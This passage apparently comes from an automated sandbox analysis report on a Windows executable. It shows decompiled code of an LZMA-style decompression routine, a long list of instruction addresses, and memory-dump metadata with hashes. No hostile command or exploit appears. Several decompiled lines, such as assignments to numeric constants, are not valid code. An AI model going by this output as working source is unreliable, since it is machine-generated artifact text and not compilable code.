											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x004062b1
0x004062b1
0x004062b5
0x004062de
0x004062e8
0x004062b7
0x004062c0
0x004062cd
0x004062d0
0x00406614
0x00406614
0x00406617
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00406665
0x00406669
0x00406818
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x0040684a
0x00406675
0x0040667c
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00406614
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x00000000
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00406614
0x00406614
0x00000000
0x00406614
0x00000000
0x004065de
0x004065e2
0x00406604
0x00406607
0x00406611
0x00406614
0x00406614
0x00000000
0x00406614
0x00406614
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065ee
0x004065f1
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x004066d2
0x004066d2
0x00000000
0x004066d2
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x004065f5
0x004065f5
0x004065f8
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00406690
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00406710
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00406690
0x00406690
0x00000000
0x00406696
0x00406690
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406617
0x00406614

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be6e9d30e93fbb49eb3c361b8f1c94b7932ac8d56391751c3e2361f0828e0a06
Instruction ID: f7c6f07f586ed293a1c67bf574783cb577a0acbc2814a7f5ecfd539a56c9ebac
Opcode Fuzzy Hash: be6e9d30e93fbb49eb3c361b8f1c94b7932ac8d56391751c3e2361f0828e0a06
